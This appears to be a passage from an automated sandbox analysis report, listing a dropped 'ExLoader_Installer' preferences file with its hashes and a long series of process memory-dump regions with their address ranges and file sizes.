63b91400d5675da0cc290205d845e6fc584c1ed99c2df97fc33f63ddc17e915b605640241e201c8cf1c089213b36dcb0d389ca8aa78db925b46a301503efe9a8

Download Submit
C:\Users\Admin\AppData\Roaming\com.swiftsoft\ExLoader_Installer\shared_preferences.json

Filesize
269B

MD5
96c6b2e4eebd15fcb1f8a97ad721e0fb

SHA1
07a8f0e4596213115f3bc4fc712b8956c2e3bf45

SHA256
a3dedabac17fa866c84bdf0175e49ac41cba2cfa45d362c32de52f27549977d9

SHA512
54e1c55c5cfa6e5de02284cf41285cb24b6d3362c758810fb1388299a7787ad75d24b5f138ff32c7f2f88fb142c521ce29e3eb49e5db5539b6d3357f59c47f20

Download Submit
memory/748-1665-0x0000000000800000-0x000000000081A000-memory.dmp

Filesize
104KB

Download
memory/2504-1366-0x000001FA150C0000-0x000001FA150C1000-memory.dmp

Filesize
4KB

Download
memory/2504-1390-0x000001FA17310000-0x000001FA180F5000-memory.dmp

Filesize
13.9MB

Download
memory/2504-1367-0x000001FA17310000-0x000001FA180F5000-memory.dmp

Filesize
13.9MB

Download
memory/2504-1395-0x000001FA150D0000-0x000001FA150D1000-memory.dmp

Filesize
4KB

Download
memory/2504-1389-0x000001FA17310000-0x000001FA180F5000-memory.dmp

Filesize
13.9MB

Download
memory/3140-1518-0x00007FF959150000-0x00007FF9594C5000-memory.dmp

Filesize
3.5MB

Download
memory/3140-1482-0x00007FF95DB20000-0x00007FF95DB2F000-memory.dmp

Filesize
60KB

Download
memory/3140-1514-0x00007FF9595C0000-0x00007FF9595D9000-memory.dmp

Filesize
100KB

Download
memory/3140-1516-0x00007FF959590000-0x00007FF9595BE000-memory.dmp

Filesize
184KB

Download
memory/3140-1517-0x00007FF9594D0000-0x00007FF959588000-memory.dmp

Filesize
736KB

Download
memory/3140-1511-0x00007FF959790000-0x00007FF9597BD000-memory.dmp

Filesize
180KB

Download
memory/3140-1521-0x00007FF9595E0000-0x00007FF959753000-memory.dmp

Filesize
1.4MB

Download
memory/3140-1522-0x00007FF95DB10000-0x00007FF95DB1D000-memory.dmp

Filesize
52KB

Download
memory/3140-1505-0x00007FF958FF0000-0x00007FF959004000-memory.dmp

Filesize
80KB

Download
memory/3140-1503-0x000002BCC1DF0000-0x000002BCC2165000-memory.dmp

Filesize
3.5MB

Download
memory/3140-1502-0x00007FF959150000-0x00007FF9594C5000-memory.dmp

Filesize
3.5MB

Download
memory/3140-1500-0x00007FF95DB10000-0x00007FF95DB1D000-memory.dmp

Filesize
52KB

Download
memory/3140-1506-0x00007FF958FE0000-0x00007FF958FED000-memory.dmp

Filesize
52KB

Download
memory/3140-1504-0x00007FF95DB30000-0x00007FF95DB54000-memory.dmp

Filesize
144KB

Download
memory/3140-1481-0x00007FF95DB30000-0x00007FF95DB54000-memory.dmp

Filesize
144KB

Download
memory/3140-1483-0x00007FF9597C0000-0x00007FF9597D9000-memory.dmp

Filesize
100KB

Download
memory/3140-1484-0x00007FF959790000-0x00007FF9597BD000-memory.dmp

Filesize
180KB

Download
memory/3140-1486-0x00007FF95EDC0000-0x00007FF95F3A8000-memory.dmp

Filesize
5.9MB

Download
memory/3140-1507-0x00007FF95EDC0000-0x00007FF95F3A8000-memory.dmp

Filesize
5.9MB

Download
memory/3140-1512-0x00007FF959760000-0x00007FF959783000-memory.dmp

Filesize
140KB

Download
memory/3140-1501-0x00007FF9594D0000-0x00007FF959588000-memory.dmp

Filesize
736KB

Download
memory/3140-1499-0x00007FF959590000-0x00007FF9595BE000-memory.dmp

Filesize
184KB

Download
memory/3140-1498-0x00007FF9595C0000-0x00007FF9595D9000-memory.dmp

Filesize
100KB

Download
memory/3140-1493-0x00007FF9595E0000-0x00007FF959753000-memory.dmp

Filesize
1.4MB

Download
memory/3140-1447-0x00007FF95EDC0000-0x00007FF95F3A8000-memory.dmp

Filesize
5.9MB

Download
memory/3140-1508-0x00007FF95DB30000-0x00007FF95DB54000-memory.dmp

Filesize
144KB

Download
memory/3140-1510-0x00007FF9597C0000-0x00007FF9597D9000-memory.dmp

Filesize
100KB

Download
memory/3140-1509-0x00007FF95DB20000-0x00007FF95DB2F000-memory.dmp

Filesize
60KB

Download
memory/3140-1492-0x00007FF959760000-0x00007FF959783000-memory.dmp

Filesize
140KB

Download
memory/3492-2213-0x00000242BF980000-0x00000242BFA35000-memory.dmp

Filesize
724KB

Download
memory/3492-2212-0x00000242BF960000-0x00000242BF97C000-memory.dmp

Filesize
112KB

Download
memory/3492-2222-0x00000242BFA40000-0x00000242BFA4A000-memory.dmp

Filesize
40KB

Download
memory/3492-2224-0x00000242BFBB0000-0x00000242BFBCC000-memory.dmp

Filesize
112KB

Download
memory/3492-2226-0x00000242BFB90000-0x00000242BFB9A000-memory.dmp

Filesize
40KB

Download
memory/3492-2227-0x00000242BFBF0000-0x00000242BFC0A000-memory.dmp

Filesize
104KB

Download
memory/3492-2228-0x00000242BFBA0000-0x00000242BFBA8000-memory.dmp

Filesize
32KB

Download
memory/3492-2229-0x00000242BFBD0000-0x00000242BFBD6000-memory.dmp

Filesize
24KB

Download
memory/3492-2230-0x00000242BFBE0000-0x00000242BFBEA000-memory.dmp

Filesize
40KB

Download
memory/4296-1450-0x00007FF95F8C0000-0x00007FF95F8EE000-memory.dmp

Filesize
184KB

Download
memory/4296-1828-0x00007FF95FA40000-0x00007FF95FA63000-memory.dmp

Filesize
140KB

Download
memory/4296-1473-0x00007FF95FAC0000-0x00007FF95FAE4000-memory.dmp

Filesize
144KB

Download
memory/4296-1474-0x00007FF9597E0000-0x00007FF9598FC000-memory.dmp

Filesize
1.1MB

Download
memory/4296-1453-0x00007FF95EA40000-0x00007FF95EDB5000-memory.dmp

Filesize
3.5MB

Download
memory/4296-1199-0x00007FF95FAF0000-0x00007FF9600D8000-memory.dmp

Filesize
5.9MB

Download
memory/4296-1469-0x00007FF95FAF0000-0x00007FF9600D8000-memory.dmp

Filesize
5.9MB

Download
memory/4296-1496-0x00007FF95F700000-0x00007FF95F7B8000-memory.dmp

Filesize
736KB

Download
memory/4296-1451-0x00007FF95F700000-0x00007FF95F7B8000-memory.dmp

Filesize
736KB

Download
memory/4296-1623-0x00007FF95FAC0000-0x00007FF95FAE4000-memory.dmp

Filesize
144KB

Download
memory/4296-1622-0x00007FF95FAF0000-0x00007FF9600D8000-memory.dmp

Filesize
5.9MB

Download
memory/4296-1485-0x00007FF95FA40000-0x00007FF95FA63000-memory.dmp

Filesize
140KB

Download
memory/4296-1398-0x00007FF95FA70000-0x00007FF95FA9D000-memory.dmp

Filesize
180KB

Download
memory/4296-1449-0x00007FF96BA10000-0x00007FF96BA1D000-memory.dmp

Filesize
52KB

Download
memory/4296-1497-0x00007FF95EA40000-0x00007FF95EDB5000-memory.dmp

Filesize
3.5MB

Download
memory/4296-1495-0x00007FF95F8C0000-0x00007FF95F8EE000-memory.dmp

Filesize
184KB

Download
memory/4296-1494-0x00007FF95F910000-0x00007FF95F929000-memory.dmp

Filesize
100KB

Download
memory/4296-1391-0x00007FF95FAC0000-0x00007FF95FAE4000-memory.dmp

Filesize
144KB

Download
memory/4296-1392-0x00007FF96E110000-0x00007FF96E11F000-memory.dmp

Filesize
60KB

Download
memory/4296-1472-0x00007FF95FA30000-0x00007FF95FA3D000-memory.dmp

Filesize
52KB

Download
memory/4296-1397-0x00007FF95FAA0000-0x00007FF95FAB9000-memory.dmp

Filesize
100KB

Download
memory/4296-1836-0x00007FF95EA40000-0x00007FF95EDB5000-memory.dmp

Filesize
3.5MB

Download
memory/4296-1491-0x00007FF95F3B0000-0x00007FF95F523000-memory.dmp

Filesize
1.4MB

Download
memory/4296-1448-0x00007FF95F910000-0x00007FF95F929000-memory.dmp

Filesize
100KB

Download
memory/4296-1436-0x00007FF95F3B0000-0x00007FF95F523000-memory.dmp

Filesize
1.4MB

Download
memory/4296-1824-0x00007FF95FAC0000-0x00007FF95FAE4000-memory.dmp

Filesize
144KB

Download
memory/4296-1417-0x00007FF95FA40000-0x00007FF95FA63000-memory.dmp

Filesize
140KB

Download
memory/4296-1825-0x00007FF96E110000-0x00007FF96E11F000-memory.dmp

Filesize
60KB

Download
memory/4296-1794-0x00007FF95FAC0000-0x00007FF95FAE4000-memory.dmp

Filesize
144KB

Download
memory/4296-1799-0x00007FF95F3B0000-0x00007FF95F523000-memory.dmp

Filesize
1.4MB

Download
memory/4296-1793-0x00007FF95FAF0000-0x00007FF9600D8000-memory.dmp

Filesize
5.9MB

Download
memory/4296-1814-0x00007FF95F3B0000-0x00007FF95F523000-memory.dmp

Filesize
1.4MB

Download
memory/4296-1823-0x00007FF95FAF0000-0x00007FF9600D8000-memory.dmp

Filesize
5.9MB

Download
memory/4296-1832-0x00007FF95F700000-0x00007FF95F7B8000-memory.dmp

Filesize
736KB

Download
memory/4296-1831-0x00007FF95F8C0000-0x00007FF95F8EE000-memory.dmp

Filesize
184KB

Download
memory/4296-1830-0x00007FF96BA10000-0x00007FF96BA1D000-memory.dmp

Filesize
52KB

Download
memory/4296-1835-0x00007FF95FA30000-0x00007FF95FA3D000-memory.dmp

Filesize
52KB

Download
memory/4296-1834-0x00007FF95F880000-0x00007FF95F894000-memory.dmp

Filesize
80KB

Download
memory/4296-1833-0x00007FF9597E0000-0x00007FF9598FC000-memory.dmp

Filesize
1.1MB

Download
memory/4296-1829-0x00007FF95F910000-0x00007FF95F929000-memory.dmp

Filesize
100KB

Download
memory/4296-1468-0x00007FF95F880000-0x00007FF95F894000-memory.dmp

Filesize
80KB

Download
memory/4296-1827-0x00007FF95FA70000-0x00007FF95FA9D000-memory.dmp

Filesize
180KB

Download
memory/4296-1826-0x00007FF95FAA0000-0x00007FF95FAB9000-memory.dmp

Filesize
100KB

Download
memory/5272-2-0x00000239EE7E0000-0x00000239EE802000-memory.dmp

Filesize
136KB

Download
memory/5272-12-0x00007FF965450000-0x00007FF965F11000-memory.dmp

Filesize
10.8MB

Download
memory/5272-13-0x00007FF965450000-0x00007FF965F11000-memory.dmp

Filesize
10.8MB

Download
memory/5272-14-0x00007FF965450000-0x00007FF965F11000-memory.dmp

Filesize
10.8MB

Download
memory/5272-17-0x00007FF965450000-0x00007FF965F11000-memory.dmp

Filesize
10.8MB

Download
memory/5296-1717-0x0000019F74210000-0x0000019F74218000-memory.dmp

Filesize
32KB

Download
memory/6024-1757-0x00007FF965450000-0x00007FF965F11000-memory.dmp

Filesize
10.8MB

Download
memory/6024-1-0x0000000000930000-0x0000000002E82000-memory.dmp

Filesize
37.3MB

Download
memory/6024-18-0x00007FF965450000-0x00007FF965F11000-memory.dmp

Filesize
10.8MB

Download
memory/6024-1406-0x00007FF965450000-0x00007FF965F11000-memory.dmp

Filesize
10.8MB

Download
memory/6024-264-0x00007FF965453000-0x00007FF965455000-memory.dmp

Filesize
8KB

Download
memory/6024-0-0x00007FF965453000-0x00007FF965455000-memory.dmp

Filesize
8KB

Download